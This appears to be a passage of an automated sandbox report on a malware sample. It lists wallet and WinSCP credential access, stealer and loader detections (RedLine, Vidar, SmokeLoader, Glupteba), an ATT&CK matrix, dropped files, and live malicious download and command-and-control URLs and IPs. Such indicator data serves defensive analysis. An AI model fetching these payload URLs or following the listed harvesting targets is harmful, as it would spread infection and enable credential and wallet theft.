Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Source: Yara match	File source: 00000026.00000002.2702013439.0000000000537000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 3368, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: 00000031.00000002.2951334522.0000000004178000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 0.3.file.exe.2330000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vdhbahw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.6545.exe.20a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.6545.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.vdhbahw.6c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vdhbahw.6b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.6545.exe.20b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1956532519.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2372861867.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674427121.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Glupteba

Source: Yara match	File source: 33.2.9EB5.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.9EB5.exe.5120e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9EB5.exe PID: 5356, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 38.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.build2.exe.3ee15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.build2.exe.3ee15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 3368, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Exfiltration Over Alternative Protocol	15 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	2 Data Encrypted for Impact
Default Accounts	1 Scripting	11 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Native API	11 Registry Run Keys / Startup Folder	912 Process Injection	1 Scripting	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Shared Modules	1 Services File Permissions Weakness	11 Scheduled Task/Job	3 Obfuscated Files or Information	NTDS	146 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	5 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Exploitation for Client Execution	Network Logon Script	11 Registry Run Keys / Startup Folder	32 Software Packing	LSA Secrets	681 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	126 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	3 Command and Scripting Interpreter	Rc.common	1 Services File Permissions Weakness	1 Timestomp	Cached Domain Credentials	341 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	1 Proxy	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	11 Scheduled Task/Job	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	341 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	912 Process Injection	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Hidden Files and Directories	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	1 Regsvr32	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement
Trusted Relationship	Python	Hypervisor	Process Injection	1 Services File Permissions Weakness	Web Portal Capture	Cloud Groups	Attack PC via USB Connection	Local Email Collection	Standard Application Layer Protocol	Internal Proxy			Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	43%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\Temp\1917.dll	100%	Avira	HEUR/AGEN.1300750
C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	100%	Avira	HEUR/AGEN.1323708
C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	100%	Avira	HEUR/AGEN.1323708
C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	100%	Avira	HEUR/AGEN.1323708
C:\Users\user\AppData\Local\Temp\D900.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Local\Temp\9EB5.exe	100%	Avira	HEUR/AGEN.1303617
C:\Users\user\AppData\Local\Temp\374E.exe	100%	Avira	TR/AD.Nekark.gdaph
C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	100%	Avira	HEUR/AGEN.1323708
C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	100%	Avira	TR/AD.Nekark.gdaph
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Avira	HEUR/AGEN.1312455
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Local\Temp\8A61.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP002.TMP\calllcustomer.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6545.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D900.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C06.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9EB5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\374E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal		Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	82%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	81%	Virustotal		Browse
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	87%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	82%	Virustotal		Browse
C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	54%	ReversingLabs	Win32.Ransomware.Loki
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	82%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	87%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\1917.dll	22%	ReversingLabs
C:\Users\user\AppData\Local\Temp\374E.exe	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\8A61.exe	18%	ReversingLabs	Win32.Trojan.Doina
C:\Users\user\AppData\Local\Temp\C06.exe	54%	ReversingLabs	Win32.Ransomware.Loki
C:\Users\user\AppData\Local\Temp\D900.exe	26%	ReversingLabs	ByteCode-MSIL.Trojan.InjectorX
C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.InjectorX
C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	11%	ReversingLabs	ByteCode-MSIL.Trojan.InjectorX
C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	18%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	18%	ReversingLabs	ByteCode-MSIL.Trojan.InjectorX
C:\Users\user\AppData\Local\Temp\IXP002.TMP\calllcustomer.exe	16%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\vdhbahw	42%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
colisumy.com	20%	Virustotal	Browse
lightseinsteniki.org	19%	Virustotal	Browse
stualialuyastrelia.net	21%	Virustotal	Browse
zexeq.com	21%	Virustotal	Browse
alayyadcare.com	13%	Virustotal	Browse
onualituyrs.org	23%	Virustotal	Browse
loveperry.org	3%	Virustotal	Browse
snukerukeutit.org	18%	Virustotal	Browse
h171008.srv22.test-hf.su	16%	Virustotal	Browse
sumagulituyo.org	18%	Virustotal	Browse
liuliuoumumy.org	18%	Virustotal	Browse
montereyclub.org	4%	Virustotal	Browse
wirtshauspost.at	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://blockchain.infoindex	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://www.gstatic.c..?/recaptcha/releases/lLirU0na9roYU3wDDisGJEVT/recaptcha__.	0%	URL Reputation	safe
http://zexeq.com/files/1/build3.exe$run	100%	URL Reputation	malware
http://schemas.micro	0%	URL Reputation	safe
http://49.12.118.151:8000/images.zipGfrT	0%	Avira URL Cloud	safe
https://we.tl/t-xN3VuzQl0a	0%	Avira URL Cloud	safe
http://172.86.98.101/xs12pro/Xhuigdkf.dat	100%	Avira URL Cloud	malware
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true;	100%	Avira URL Cloud	malware
http://colisumy.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
http://49.12.118.151:8000/images.zip;fFT#	0%	Avira URL Cloud	safe
https://localstats.org	0%	Avira URL Cloud	safe
http://colisumy.com/dl/build2.exe$run	18%	Virustotal		Browse
https://we.tl/t-xN3VuzQl0a	0%	Virustotal		Browse
http://172.86.98.101/xs12pro/Xhuigdkf.dat	11%	Virustotal		Browse
http://172.86.98.101/xs12pro/Qdlpaama.wavC	100%	Avira URL Cloud	malware
https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttps://l	0%	Avira URL Cloud	safe
http://79.137.192.18/9bDc8sQ/index.phppRv0	100%	Avira URL Cloud	malware
http://49.12.118.151/Data	0%	Avira URL Cloud	safe
https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onion	0%	Avira URL Cloud	safe
http://171.22.28.219/treelatestprores.exe	0%	Avira URL Cloud	safe
http://79.137.192.18/9bDc8sQ/index.phpv	100%	Avira URL Cloud	malware
http://https://_bad_pdb_file.pdb	0%	Avira URL Cloud	safe
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	100%	Avira URL Cloud	malware
http://171.22.28.219/treelatestprores.exe	11%	Virustotal		Browse
http://79.137.192.18/9bDc8sQ/index.phpnT	100%	Avira URL Cloud	malware
http://79.137.192.18/9bDc8sQ/index.php	100%	Avira URL Cloud	malware
https://localstats.org	0%	Virustotal		Browse
http://79.137.192.18/9bDc8sQ/index.phpWindows	100%	Avira URL Cloud	malware
https://localstats.orghttps://localstats.orgRegQueryValueExWhttps://localstats.orgUUIDUUIDPGDSEPGDSE	0%	Avira URL Cloud	safe
http://172.86.98.101/xs12pro/Qdlpaama.wavC	11%	Virustotal		Browse
http://liuliuoumumy.org/	100%	Avira URL Cloud	malware
http://wirtshauspost.at/tmp/	0%	Avira URL Cloud	safe
http://79.137.192.18/9bDc8sQ/index.php	21%	Virustotal		Browse
https://loveperry.org/d1f678ec34d6fa8f1d632aaee203f5bf/288c47bbc1871b439df19ff4df68f076.exe	100%	Avira URL Cloud	malware
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://172.86.98.101/xs12pro/Qdlpaama.wav	100%	Avira URL Cloud	malware
http://wirtshauspost.at/tmp/	11%	Virustotal		Browse
http://79.137.192.18/9bDc8sQ/index.phpFTi0	100%	Avira URL Cloud	malware
http://liuliuoumumy.org/	18%	Virustotal		Browse
http://msktk.ru/tmp/	0%	Avira URL Cloud	safe
http://172.86.98.101/xs12pro/Qdlpaama.wav	11%	Virustotal		Browse
http://zexeq.com/files/1/build3.exerun27c	100%	Avira URL Cloud	malware
http://49.12.118.151/s	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	100%	Avira URL Cloud	malware
http://79.137.192.18/9bDc8sQ/index.phpm32	100%	Avira URL Cloud	malware
http://msktk.ru/tmp/	17%	Virustotal		Browse
http://us.fontviewer.de/0	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	16%	Virustotal		Browse
http://us.fontviewer.de/0	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
colisumy.com	195.158.3.162	true	true	20%, Virustotal, Browse	unknown
accounts.google.com	172.217.14.109	true	false		high
lightseinsteniki.org	34.143.166.163	true	true	19%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	false		high
stualialuyastrelia.net	91.215.85.17	true	true	21%, Virustotal, Browse	unknown
onualituyrs.org	91.215.85.209	true	true	23%, Virustotal, Browse	unknown
alayyadcare.com	213.6.54.58	true	true	13%, Virustotal, Browse	unknown
zexeq.com	115.88.24.200	true	true	21%, Virustotal, Browse	unknown
iplogger.com	148.251.234.93	true	false		high
snukerukeutit.org	35.205.61.67	true	false	18%, Virustotal, Browse	unknown
loveperry.org	104.21.86.8	true	true	3%, Virustotal, Browse	unknown
h171008.srv22.test-hf.su	91.227.16.22	true	true	16%, Virustotal, Browse	unknown
sumagulituyo.org	34.94.245.237	true	false	18%, Virustotal, Browse	unknown
liuliuoumumy.org	34.143.166.163	true	true	18%, Virustotal, Browse	unknown
montereyclub.org	104.21.21.57	true	true	4%, Virustotal, Browse	unknown
api.2ip.ua	104.21.65.24	true	false		high
www.google.com	172.217.14.100	true	false		high
clients.l.google.com	142.250.72.238	true	false		high
wirtshauspost.at	195.158.3.162	true	true	1%, Virustotal, Browse	unknown
clients2.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://172.86.98.101/xs12pro/Xhuigdkf.dat	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://171.22.28.219/treelatestprores.exe	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	false	Avira URL Cloud: malware	unknown
http://79.137.192.18/9bDc8sQ/index.php	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199560322242	false		high
http://liuliuoumumy.org/	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://wirtshauspost.at/tmp/	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://loveperry.org/d1f678ec34d6fa8f1d632aaee203f5bf/288c47bbc1871b439df19ff4df68f076.exe	true	Avira URL Cloud: malware	unknown
http://172.86.98.101/xs12pro/Qdlpaama.wav	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.google.com/recaptcha/api.js	false		high
http://msktk.ru/tmp/	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZFEGP2dpakGIjDUht_iSdQdyXOw9C7LkmLwSguzkOO7PWmZRWUmqieCMTCnfotNaoU9yzHGGbqE1RAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	96764528231374897933662026.38.dr	false		high
http://49.12.118.151:8000/images.zipGfrT	build2.exe, 00000026.00000003.2577331812.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2564440533.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2570233323.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2584261121.00000000023C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	96764528231374897933662026.38.dr	false		high
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_249.46.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://colisumy.com/dl/build2.exe$run	C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ_S-758Ok-yydlZOMNOB66mld60E3QcDAVKZ9dB8HvOtD	build2.exe, 00000026.00000003.2609690139.000000000E750000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json&	C06.exe, 0000001C.00000002.4134884919.0000000000738000.00000004.00000020.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://iplogger.com/2Xtsj4MZ	D900.exe, 00000025.00000003.2426667988.00000257686AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-xN3VuzQl0a	C06.exe, 0000001C.00000002.4134884919.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.0000000000881000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, _readme.txt2.28.dr	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true;	C06.exe, 0000001C.00000002.4134884919.0000000000778000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.google.com/recaptcha/#6175971	chromecache_249.46.dr	false		high
http://49.12.118.151:8000/images.zip;fFT#	build2.exe, 00000026.00000003.2577331812.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599437959.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597953091.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2564440533.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2605006631.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2592498316.00000000023BE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2585268311.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597781285.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599303433.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2570233323.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2723898873.00000000023A5000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2584261121.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2602991784.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2606556406.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2586748488.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2591055405.00000000023BD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2601178963.00000000023BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL 